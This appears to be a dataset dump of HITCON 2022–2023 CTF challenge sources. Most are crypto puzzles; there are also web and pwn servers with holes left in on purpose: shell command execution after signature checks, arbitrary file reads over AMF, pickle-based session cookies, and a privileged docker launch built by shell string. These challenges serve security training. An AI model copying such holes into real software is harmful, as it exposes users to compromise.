repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1 value | license stringclasses 7 values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2 classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Random_Shuffling_Algorithm/chall.py | ctfs/HITCON/2023/Quals/crypto/Random_Shuffling_Algorithm/chall.py | from Crypto.Util.number import *
from functools import reduce
from random import SystemRandom
import os
random = SystemRandom()
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
with open("flag.txt", "rb") as f:
flag = f.read().strip()
n_size = 1024
msgs = [os.urandom(n_size // 8 - 1) for _ in range(3)]
msgs += [reduce(xor, msgs + [flag])]
msgs = [bytes_to_long(m) for m in msgs]
pubs = [getPrime(n_size // 2) * getPrime(n_size // 2) for _ in range(100)]
cts = []
for pub in pubs:
random.shuffle(msgs)
cur = []
for m in msgs:
a = getRandomRange(0, pub)
b = getRandomRange(0, pub)
c = pow(a * m + b, 11, pub)
cur.append((a, b, c))
cts.append(cur)
print(f"{pubs = }")
print(f"{cts = }")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Careless_Padding/chal.py | ctfs/HITCON/2023/Quals/crypto/Careless_Padding/chal.py | #!/usr/local/bin/python
import random
import os
from secret import flag
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import json
N = 16
# 0 -> 0, 1~N -> 1, (N+1)~(2N) -> 2 ...
def count_blocks(length):
block_count = (length-1) // N + 1
return block_count
def find_repeat_tail(message):
Y = message[-1]
message_len = len(message)
for i in range(len(message)-1, -1, -1):
if message[i] != Y:
X = message[i]
message_len = i + 1
break
return message_len, X, Y
def my_padding(message):
message_len = len(message)
block_count = count_blocks(message_len)
result_len = block_count * N
if message_len % N == 0:
result_len += N
X = message[-1]
Y = message[(block_count-2)*N+(X%N)]
if X==Y:
Y = Y^1
padded = message.ljust(result_len, bytes([Y]))
return padded
def my_unpad(message):
message_len, X, Y = find_repeat_tail(message)
block_count = count_blocks(message_len)
_Y = message[(block_count-2)*N+(X%N)]
if (Y != _Y and Y != _Y^1):
raise ValueError("Incorrect Padding")
return message[:message_len]
def chal():
k = os.urandom(16)
m = json.dumps({'key':flag}).encode()
iv = os.urandom(16)
cipher = AES.new(k, AES.MODE_CBC, iv)
padded = my_padding(m)
enc = cipher.encrypt(padded)
print(f"""
*********************************************************
You are put into the careless prison and trying to escape.
Thanksfully, someone forged a key for you, but seems like it's encrypted...
Fortunately they also leave you a copied (and apparently alive) prison door.
The replica pairs with this encrypted key. Wait, how are this suppose to help?
Anyway, here's your encrypted key: {(iv+enc).hex()}
*********************************************************
""")
while True:
enc = input("Try unlock:")
enc = bytes.fromhex(enc)
iv = enc[:16]
cipher = AES.new(k, AES.MODE_CBC, iv)
try:
message = my_unpad(cipher.decrypt(enc[16:]))
if message == m:
print("Hey you unlock me! At least you know how to use the key")
else:
print("Bad key... do you even try?")
except ValueError:
print("Don't put that weirdo in me!")
except Exception:
print("What? Are you trying to unlock me with a lock pick?")
if __name__ == "__main__":
chal()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Careless_Padding/secret.py | ctfs/HITCON/2023/Quals/crypto/Careless_Padding/secret.py | import os
flag = "hitcon{tmperory_flag_for_testing}"
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Collision/server.py | ctfs/HITCON/2023/Quals/crypto/Collision/server.py | #!/usr/bin/env python3
import os
import signal
if __name__ == "__main__":
salt = os.urandom(8)
print("salt:", salt.hex())
while True:
m1 = bytes.fromhex(input("m1: "))
m2 = bytes.fromhex(input("m2: "))
if m1 == m2:
continue
h1 = hash(salt + m1)
h2 = hash(salt + m2)
if h1 == h2:
exit(87)
else:
print(f"{h1} != {h2}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Share/server.py | ctfs/HITCON/2023/Quals/crypto/Share/server.py | #!/usr/bin/env python3
from Crypto.Util.number import isPrime, getRandomRange, bytes_to_long
from typing import List
import os, signal
class SecretSharing:
def __init__(self, p: int, n: int, secret: int):
self.p = p
self.n = n
self.poly = [secret] + [getRandomRange(0, self.p - 1) for _ in range(n - 1)]
def evaluate(self, x: int) -> int:
return (
sum([self.poly[i] * pow(x, i, self.p) for i in range(len(self.poly))])
% self.p
)
def get_shares(self) -> List[int]:
return [self.evaluate(i + 1) for i in range(self.n)]
if __name__ == "__main__":
signal.alarm(30)
secret = bytes_to_long(os.urandom(32))
while True:
p = int(input("p = "))
n = int(input("n = "))
if isPrime(p) and int(13.37) < n < p:
shares = SecretSharing(p, n, secret).get_shares()
print("shares =", shares[:-1])
else:
break
if int(input("secret = ")) == secret:
print(open("flag.txt", "r").read().strip())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/Echo/server.py | ctfs/HITCON/2023/Quals/crypto/Echo/server.py | #!/usr/bin/env python3
from Crypto.Util.number import *
from shlex import quote
import subprocess, sys, signal
class RSA:
def __init__(self, size):
self.p = getPrime(size // 2)
self.q = getPrime(size // 2)
self.n = self.p * self.q
self.e = getPrime(size // 2)
self.d = pow(self.e, -1, (self.p - 1) * (self.q - 1))
def sign(self, msg: bytes) -> int:
m = bytes_to_long(msg)
return pow(m, self.d, self.n)
def verify(self, msg: bytes, sig: int) -> bool:
return self.sign(msg) == sig
if __name__ == "__main__":
signal.alarm(60)
rsa = RSA(512)
while True:
print("1. Sign an echo command")
print("2. Execute a signed command")
print("3. Exit")
choice = int(input("> "))
if choice == 1:
msg = input("Enter message: ")
cmd = f"echo {quote(msg)}"
sig = rsa.sign(cmd.encode())
print("Command:", cmd)
print("Signature:", sig)
elif choice == 2:
cmd = input("Enter command: ")
sig = int(input("Enter signature: "))
if rsa.verify(cmd.encode(), sig):
subprocess.run(
cmd,
shell=True,
stdin=subprocess.DEVNULL,
stdout=sys.stdout,
stderr=sys.stderr,
)
else:
print("Signature verification failed")
elif choice == 3:
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/crypto/EZRSA/server.py | ctfs/HITCON/2023/Quals/crypto/EZRSA/server.py | #!/usr/bin/env python3
from Crypto.Util.number import isPrime, getPrime, getRandomNBitInteger, getRandomRange
import gmpy2, os
# some generic elliptic curve stuff because sage is too heavy :(
# there is no intended vulnerability in part, please ignore it
class Curve:
def __init__(self, p, a, b):
self.p = gmpy2.mpz(p)
self.a = gmpy2.mpz(a)
self.b = gmpy2.mpz(b)
def __eq__(self, other):
if isinstance(other, Curve):
return self.p == other.p and self.a == other.a and self.b == other.b
return None
def __str__(self):
return "y^2 = x^3 + %dx + %d over F_%d" % (self.a, self.b, self.p)
class Point:
def __init__(self, curve, x, y):
if curve == None:
self.curve = self.x = self.y = None
return
self.curve = curve
self.x = gmpy2.mpz(x % curve.p)
self.y = gmpy2.mpz(y % curve.p)
lhs = (self.y * self.y) % curve.p
rhs = (self.x * self.x * self.x + curve.a * self.x + curve.b) % curve.p
if lhs != rhs:
raise Exception("Point (%d, %d) is not on curve %s" % (x, y, curve))
def __str__(self):
if self == INFINITY:
return "INF"
return "(%d, %d)" % (self.x, self.y)
def __eq__(self, other):
if isinstance(other, Point):
return self.curve == other.curve and self.x == other.x and self.y == other.y
return None
def __add__(self, other):
if not isinstance(other, Point):
return None
if other == INFINITY:
return self
if self == INFINITY:
return other
p = self.curve.p
if self.x == other.x:
if (self.y + other.y) % p == 0:
return INFINITY
else:
return self.double()
p = self.curve.p
l = ((other.y - self.y) * gmpy2.invert(other.x - self.x, p)) % p
x3 = (l * l - self.x - other.x) % p
y3 = (l * (self.x - x3) - self.y) % p
return Point(self.curve, x3, y3)
def __neg__(self):
return Point(self.curve, self.x, self.curve.p - self.y)
def __mul__(self, e):
if e == 0:
return INFINITY
if self == INFINITY:
return INFINITY
if e < 0:
return (-self) * (-e)
ret = INFINITY
tmp = self
while e:
if e & 1:
ret = ret + tmp
tmp = tmp.double()
e >>= 1
return ret
def __rmul__(self, other):
return self * other
def double(self):
if self == INFINITY:
return INFINITY
p = self.curve.p
a = self.curve.a
l = ((3 * self.x * self.x + a) * gmpy2.invert(2 * self.y, p)) % p
x3 = (l * l - 2 * self.x) % p
y3 = (l * (self.x - x3) - self.y) % p
return Point(self.curve, x3, y3)
INFINITY = Point(None, None, None)
# end of generic elliptic curve stuff
class ECRSA:
# this is an implementation of https://eprint.iacr.org/2023/1299.pdf
@staticmethod
def gen_prime(sz):
while True:
u1 = getRandomNBitInteger(sz)
u2 = getRandomNBitInteger(sz)
up = 4 * u1 + 3
vp = 4 * u2 + 2
p = up**2 + vp**2
if isPrime(p):
return p, up, vp
@staticmethod
def generate(l):
p, up, vp = ECRSA.gen_prime(l // 4)
q, uq, vq = ECRSA.gen_prime(l // 4)
n = p * q
g = ((p + 1) ** 2 - 4 * up**2) * ((q + 1) ** 2 - 4 * uq**2)
while True:
e = getPrime(l // 8)
if gmpy2.gcd(e, g) == 1:
break
priv = (p, up, vp, q, uq, vq)
pub = (n, e)
return ECRSA(pub, priv)
def __init__(self, pub, priv=None):
self.pub = pub
self.n, self.e = pub
self.priv = priv
if priv is not None:
self.p, self.up, self.vp, self.q, self.uq, self.vq = priv
def compute_u(self, a, p, u, v):
s = gmpy2.powmod(a, (p - 1) // 4, p)
if s == 1:
return -u
elif s == p - 1:
return u
elif s * v % p == u:
return v
else:
return -v
def encrypt(self, m):
r = getRandomRange(1, self.n)
a = (m**2 - r**3) * gmpy2.invert(r, self.n) % self.n
E = Curve(self.n, a, 0)
M = Point(E, r, m)
C = self.e * M
return int(C.x), int(C.y)
def decrypt(self, C):
if self.priv is None:
raise Exception("No private key")
xc, yc = C
a = (yc**2 - xc**3) * gmpy2.invert(xc, self.n) % self.n
Up = self.compute_u(a, self.p, self.up, self.vp)
Uq = self.compute_u(a, self.q, self.uq, self.vq)
phi = (self.p + 1 - 2 * Up) * (self.q + 1 - 2 * Uq)
d = gmpy2.invert(self.e, phi)
E = Curve(self.n, a, 0)
M = d * Point(E, xc, yc)
return int(M.x), int(M.y)
def oracle_phase(ec: ECRSA):
while True:
print("1. Encrypt")
print("2. Decrypt")
print("3. Done")
choice = int(input("> "))
if choice == 1:
m = int(input("m = "))
print(ec.encrypt(m))
elif choice == 2:
C = tuple(map(int, input("C = ").split()))
print(ec.decrypt(C))
elif choice == 3:
break
def challenge_phase(ec: ECRSA, n: int):
for _ in range(n):
m = getRandomRange(1, ec.n)
C = ec.encrypt(m)
print(f"{C = }")
if int(input("m = ")) != m:
return False
return True
if __name__ == "__main__":
flag = os.environ.get("FLAG", "flag{test_flag}")
ec = ECRSA.generate(4096)
oracle_phase(ec)
if challenge_phase(ec, 16):
print(flag)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2023/Quals/web/AMF/server.py | ctfs/HITCON/2023/Quals/web/AMF/server.py | from pyamf.remoting.gateway.wsgi import WSGIGateway
import secrets
ADMIN_USER = secrets.token_urlsafe(16)
ADMIN_PASS = secrets.token_urlsafe(16)
class FileManagerService:
def read(self, filename):
with open(filename, "rb") as f:
return f.read()
def list(self, path="/"):
import os
return os.listdir(path)
def auth(username, password):
if username == ADMIN_USER and password == ADMIN_PASS:
return True
return False
gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth)
if __name__ == "__main__":
from wsgiref import simple_server
host = "0.0.0.0"
port = 5000
httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
httpd.set_app(gateway)
print("Running Authentication AMF gateway on http://%s:%d" % (host, port))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/pwn/EaaS/share/eaas.py | ctfs/HITCON/2022/pwn/EaaS/share/eaas.py | import fitz
import base64
import tempfile
import os
import json
inputtext = input("Give me a text: ")[:1024]
uspassword = input("Choose a user password for your document: ")
owpassword = input("Choose a owner password for your document: ")
options_inp = input("Options for Document.save(): ")
allow_options = [
"garbage", "clean", "deflate", "deflate_images", "deflate_fonts",
"incremental", "ascii", "expand", "linear", "pretty",
"no_new_id", "permissions"
]
try:
options_load = json.loads(options_inp)
options = {}
for opt in options_load:
if opt in allow_options:
options[opt] = options_load[opt]
break
except:
options = {}
try:
tempfd, temppath = tempfile.mkstemp(prefix="eaas_")
os.close(tempfd)
except:
print("Create temp file failed. Please contact with admin.")
exit(-1)
try:
pdf = fitz.Document()
pdf.new_page()
pdf[0].insert_text((20,30), inputtext, fontsize=14, color=(0,0,0))
pdf.save(temppath, owner_pw=owpassword, user_pw=uspassword, encryption=fitz.PDF_ENCRYPT_AES_128, **options)
except:
print("Create the secret document failed. Try again.")
exit(0)
try:
with open(temppath, "rb") as f:
print(base64.b64encode(f.read()).decode())
except:
print("Couldn't show the file for you. Try again.")
exit(0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/pwn/sandbox/service/chal.py | ctfs/HITCON/2022/pwn/sandbox/service/chal.py | #!/usr/bin/python3 -u
import atexit
import os
import random
import signal
import string
import subprocess
import sys
import tempfile
# Edit these variables for your own testing purpose
WWW_DIR = os.getenv("WWW")
WEB_HOST = os.getenv("HOST_IP")
WEB_PORT = os.getenv("PORT")
DOCKER_IMG_NAME = "hitcon2022_sandbox"
MAX_INPUT = 10 * 1024
TIMEOUT = 120
def handle_exit(*args):
exit(0)
def timeout(signum, frame):
print("TIMEOUT")
handle_exit()
def init():
atexit.register(handle_exit)
signal.signal(signal.SIGTERM, handle_exit)
signal.signal(signal.SIGINT, handle_exit)
signal.signal(signal.SIGALRM, timeout)
signal.alarm(TIMEOUT)
def POW():
from hashcash import check
bits = 25
resource = "".join(random.choice(string.ascii_lowercase) for i in range(8))
print("[POW] Please execute the following command and submit the hashcash token:")
print("hashcash -mb{} {}".format(bits, resource))
print("( You can install hashcash with \"sudo apt-get install hashcash\" )")
print("hashcash token: ", end='')
sys.stdout.flush()
stamp = sys.stdin.readline().strip()
if not stamp.startswith("1:"):
print("Only hashcash v1 supported")
return False
if not check(stamp, resource=resource, bits=bits):
print("Invalid")
return False
return True
def main():
size = None
try:
print(f"Your HTML file size: ( MAX: {MAX_INPUT} bytes ) ", end='')
size = int(sys.stdin.readline())
except:
print("Not a valid size !")
return
if size > MAX_INPUT:
print("Too large !")
return
print("Input your HTML file:")
html = sys.stdin.read(size)
tmp = tempfile.mkdtemp(dir=WWW_DIR, prefix=bytes.hex(os.urandom(8)))
index_path = os.path.join(tmp, "index.html")
with open(index_path, "w") as f:
f.write(html)
url = f"http://{WEB_HOST}:{WEB_PORT}/{os.path.basename(tmp)}/index.html"
cmd = f"docker run --rm --privileged {DOCKER_IMG_NAME} {url}"
try:
subprocess.check_call(cmd, stderr=sys.stdout, shell=True)
except subprocess.CalledProcessError as e:
print("Execution error:")
print(f"Return code: {e.returncode}")
if __name__ == '__main__':
try:
init()
if POW():
main()
else:
print("POW failed !")
except Exception as e:
pass
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/pwn/sandbox/service/hashcash.py | ctfs/HITCON/2022/pwn/sandbox/service/hashcash.py | #!/usr/bin/env python2.3
"""Implement Hashcash version 1 protocol in Python
+-------------------------------------------------------+
| Written by David Mertz; released to the Public Domain |
+-------------------------------------------------------+
Double spend database not implemented in this module, but stub
for callbacks is provided in the 'check()' function
The function 'check()' will validate hashcash v1 and v0 tokens, as well as
'generalized hashcash' tokens generically. Future protocol version are
treated as generalized tokens (should a future version be published w/o
this module being correspondingly updated).
A 'generalized hashcash' is implemented in the '_mint()' function, with the
public function 'mint()' providing a wrapper for actual hashcash protocol.
The generalized form simply finds a suffix that creates zero bits in the
hash of the string concatenating 'challenge' and 'suffix' without specifying
any particular fields or delimiters in 'challenge'. E.g., you might get:
>>> from hashcash import mint, _mint
>>> mint('foo', bits=16)
'1:16:040922:foo::+ArSrtKd:164b3'
>>> _mint('foo', bits=16)
'9591'
>>> from sha import sha
>>> sha('foo9591').hexdigest()
'0000de4c9b27cec9b20e2094785c1c58eaf23948'
>>> sha('1:16:040922:foo::+ArSrtKd:164b3').hexdigest()
'0000a9fe0c6db2efcbcab15157735e77c0877f34'
Notice that '_mint()' behaves deterministically, finding the same suffix
every time it is passed the same arguments. 'mint()' incorporates a random
salt in stamps (as per the hashcash v.1 protocol).
"""
import sys
from string import ascii_letters
from math import ceil, floor
from hashlib import sha1
from random import choice
from time import strftime, localtime, time
#ERR = sys.stderr # Destination for error messages
DAYS = 60 * 60 * 24 # Seconds in a day
tries = [0] # Count hashes performed for benchmark
def sha(d):
if isinstance(d, str):
d = d.encode()
return sha1(d)
def mint(resource, bits=20, now=None, ext='', saltchars=8, stamp_seconds=False):
"""Mint a new hashcash stamp for 'resource' with 'bits' of collision
20 bits of collision is the default.
'ext' lets you add your own extensions to a minted stamp. Specify an
extension as a string of form 'name1=2,3;name2;name3=var1=2,2,val'
FWIW, urllib.urlencode(dct).replace('&',';') comes close to the
hashcash extension format.
'saltchars' specifies the length of the salt used; this version defaults
8 chars, rather than the C version's 16 chars. This still provides about
17 million salts per resource, per timestamp, before birthday paradox
collisions occur. Really paranoid users can use a larger salt though.
'stamp_seconds' lets you add the option time elements to the datestamp.
If you want more than just day, you get all the way down to seconds,
even though the spec also allows hours/minutes without seconds.
"""
ver = "1"
now = now or time()
if stamp_seconds: ts = strftime("%y%m%d%H%M%S", localtime(now))
else: ts = strftime("%y%m%d", localtime(now))
challenge = "%s:"*6 % (ver, bits, ts, resource, ext, _salt(saltchars))
return challenge + _mint(challenge, bits)
def _salt(l):
"Return a random string of length 'l'"
alphabet = ascii_letters + "+/="
return ''.join([choice(alphabet) for _ in [None]*l])
def _mint(challenge, bits):
"""Answer a 'generalized hashcash' challenge'
Hashcash requires stamps of form 'ver:bits:date:res:ext:rand:counter'
This internal function accepts a generalized prefix 'challenge',
and returns only a suffix that produces the requested SHA leading zeros.
NOTE: Number of requested bits is rounded up to the nearest multiple of 4
"""
counter = 0
hex_digits = int(ceil(bits/4.))
zeros = '0'*hex_digits
while 1:
digest = sha(challenge+hex(counter)[2:]).hexdigest()
if digest[:hex_digits] == zeros:
tries[0] = counter
return hex(counter)[2:]
counter += 1
def check(stamp, resource=None, bits=None,
check_expiration=None, ds_callback=None):
"""Check whether a stamp is valid
Optionally, the stamp may be checked for a specific resource, and/or
it may require a minimum bit value, and/or it may be checked for
expiration, and/or it may be checked for double spending.
If 'check_expiration' is specified, it should contain the number of
seconds old a date field may be. Indicating days might be easier in
many cases, e.g.
>>> from hashcash import DAYS
>>> check(stamp, check_expiration=28*DAYS)
NOTE: Every valid (version 1) stamp must meet its claimed bit value
NOTE: Check floor of 4-bit multiples (overly permissive in acceptance)
"""
if stamp.startswith('0:'): # Version 0
try:
date, res, suffix = stamp[2:].split(':')
except ValueError:
#ERR.write("Malformed version 0 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
elif type(bits) is not int:
return True
else:
hex_digits = int(floor(bits/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
elif stamp.startswith('1:'): # Version 1
try:
claim, date, res, ext, rand, counter = stamp[2:].split(':')
except ValueError:
#ERR.write("Malformed version 1 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif type(bits) is int and bits > int(claim):
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
else:
hex_digits = int(floor(int(claim)/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
else: # Unknown ver or generalized hashcash
#ERR.write("Unknown hashcash version: Minimal authentication!\n")
if type(bits) is not int:
return True
elif resource is not None and stamp.find(resource) < 0:
return False
else:
hex_digits = int(floor(bits/4))
return sha(stamp).hexdigest().startswith('0'*hex_digits)
def is_doublespent(stamp):
"""Placeholder for double spending callback function
The check() function may accept a 'ds_callback' argument, e.g.
check(stamp, "mertz@gnosis.cx", bits=20, ds_callback=is_doublespent)
This placeholder simply reports stamps as not being double spent.
"""
return False
if __name__=='__main__':
# Import Psyco if available
try:
import psyco
psyco.bind(_mint)
except ImportError:
pass
import optparse
out, err = sys.stdout.write, sys.stderr.write
parser = optparse.OptionParser(version="%prog 0.1",
usage="%prog -c|-m [-b bits] [string|STDIN]")
parser.add_option('-b', '--bits', type='int', dest='bits', default=20,
help="Specify required collision bits" )
parser.add_option('-m', '--mint', help="Mint a new stamp",
action='store_true', dest='mint')
parser.add_option('-c', '--check', help="Check a stamp for validity",
action='store_true', dest='check')
parser.add_option('-s', '--timer', help="Time the operation performed",
action='store_true', dest='timer')
parser.add_option('-n', '--raw', help="Suppress trailing newline",
action='store_true', dest='raw')
(options, args) = parser.parse_args()
start = time()
if options.mint: action = mint
elif options.check: action = check
else:
out("Try: %s --help\n" % sys.argv[0])
sys.exit()
if args: out(str(action(args[0], bits=options.bits)))
else: out(str(action(sys.stdin.read(), bits=options.bits)))
if not options.raw: sys.stdout.write('\n')
if options.timer:
timer = time()-start
err("Completed in %0.4f seconds (%d hashes per second)\n" %
(timer, tries[0]/timer))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/crypto/secret/prob.py | ctfs/HITCON/2022/crypto/secret/prob.py | import random, os
from Crypto.Util.number import getPrime, bytes_to_long
p = getPrime(1024)
q = getPrime(1024)
n = p * q
flag = open('flag','rb').read()
pad_length = 256 - len(flag)
m = bytes_to_long(os.urandom(pad_length) + flag)
assert(m < n)
es = [random.randint(1, 2**512) for _ in range(64)]
cs = [pow(m, p + e, n) for e in es]
print(es)
print(cs)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/crypto/babysss/chall.py | ctfs/HITCON/2022/crypto/babysss/chall.py | from random import SystemRandom
from Crypto.Cipher import AES
from hashlib import sha256
from secret import flag
rand = SystemRandom()
def polyeval(poly, x):
return sum([a * x**i for i, a in enumerate(poly)])
DEGREE = 128
SHARES_FOR_YOU = 8 # I am really stingy :)
poly = [rand.getrandbits(64) for _ in range(DEGREE + 1)]
shares = []
for _ in range(SHARES_FOR_YOU):
x = rand.getrandbits(16)
y = polyeval(poly, x)
shares.append((x, y))
print(shares)
secret = polyeval(poly, 0x48763)
key = sha256(str(secret).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CTR)
print(cipher.encrypt(flag))
print(cipher.nonce)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/crypto/superprime/chall.py | ctfs/HITCON/2022/crypto/superprime/chall.py | from Crypto.Util.number import getPrime, isPrime, bytes_to_long
def getSuperPrime(nbits):
while True:
p = getPrime(nbits)
pp = bytes_to_long(str(p).encode())
if isPrime(pp):
return p, pp
p1, q1 = getSuperPrime(512)
p2, q2 = getSuperPrime(512)
p3, q3 = getSuperPrime(512)
p4, q4 = getSuperPrime(512)
p5, q5 = getSuperPrime(512)
n1 = p1 * q1
n2 = p2 * p3
n3 = q2 * q3
n4 = p4 * q5
n5 = p5 * q4
e = 65537
c = bytes_to_long(open("flag.txt", "rb").read().strip())
for n in sorted([n1, n2, n3, n4, n5]):
c = pow(c, e, n)
print(f"{n1 = }")
print(f"{n2 = }")
print(f"{n3 = }")
print(f"{n4 = }")
print(f"{n5 = }")
print(f"{e = }")
print(f"{c = }")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2022/web/s0undcl0ud/app/app.py | ctfs/HITCON/2022/web/s0undcl0ud/app/app.py | from flask import Flask, request, redirect, send_from_directory, g, session, render_template
import sqlite3
import os
import re
import secrets
from operator import attrgetter
from werkzeug.security import safe_join
import mimetypes
import magic
import pickle
import pickletools
from flask.sessions import SecureCookieSessionInterface
_pickle_loads = pickle.loads
def loads_with_validate(data, *args, **kwargs):
opcodes = pickletools.genops(data)
allowed_args = ['user_id', 'musics', None]
if not all(op[1] in allowed_args or
type(op[1]) == int or
type(op[1]) == str and re.match(r"^musics/[^/]+/[^/]+$", op[1])
for op in opcodes):
return {}
allowed_ops = ['PROTO', 'FRAME', 'MEMOIZE', 'MARK', 'STOP',
'EMPTY_DICT', 'EMPTY_LIST', 'SHORT_BINUNICODE', 'BININT1',
'APPEND', 'APPENDS', 'SETITEM', 'SETITEMS']
if not all(op[0].name in allowed_ops for op in opcodes):
return {}
return _pickle_loads(data, *args, **kwargs)
pickle.loads = loads_with_validate
class SessionInterface(SecureCookieSessionInterface):
serializer = pickle
app = Flask(__name__)
app.secret_key = '___SECRET_KEY___'
app.session_interface = SessionInterface()
mimetypes.init()
AUDIO_MIMETYPES = set(filter(lambda mime: mime.startswith('audio/'),
mimetypes.types_map.values()))
#### Database #####
def db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/db.sqlite3')
db.row_factory = sqlite3.Row
return db
@app.before_first_request
def server_start():
cursor = db().cursor()
cursor.executescript('''
CREATE TABLE IF NOT EXISTS "users" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"username" TEXT,
"password" TEXT
);
''')
db().commit()
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
##### Web App #####
@app.get("/")
def home():
if 'user_id' not in session:
return redirect("/login")
return render_template('index.html', musics=session.get('musics'))
@app.get("/login")
def login():
return render_template('login.html')
@app.post("/login")
def do_login():
username = request.form.get('username', '')
password = request.form.get('password', '')
if not re.match(r"\w{4,15}", username) or not re.match(r"\w{4,15}", password):
return "Username or password doesn't match \w{4,15}"
cursor = db().cursor()
query = "SELECT id, username, password FROM users WHERE username=?"
res = cursor.execute(query, (username,)).fetchone()
if res == None:
# register
query = "INSERT INTO users (username, password) VALUES (?, ?)"
user_id = cursor.execute(query, (username, password,)).lastrowid
db().commit()
os.mkdir(safe_join("musics", username))
session["user_id"] = user_id
session["musics"] = []
return redirect("/")
elif res['password'] == password:
# login
musics = list(map(attrgetter('path'),
os.scandir(safe_join("musics", username))))
session["user_id"] = res['id']
session["musics"] = musics
return redirect("/")
else:
return "Wrong password!"
@app.post("/upload")
def upload():
if 'user_id' not in session:
return redirect("/login")
cursor = db().cursor()
query = "SELECT username FROM users WHERE id=?"
user_id = session['user_id']
username = cursor.execute(query, (user_id,)).fetchone()['username']
file = request.files.get('file')
if mimetypes.guess_type(file.filename)[0] in AUDIO_MIMETYPES and \
magic.from_buffer(file.stream.read(), mime=True) in AUDIO_MIMETYPES:
file.stream.seek(0)
filename = safe_join("musics", username, file.filename)
file.save(filename)
if filename not in session['musics']:
session['musics'] = session['musics'] + [filename]
return redirect("/")
return "Invalid file type!"
@app.get("/@<username>/<file>")
def music(username, file):
return send_from_directory(f"musics/{username}", file, mimetype="application/octet-stream")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
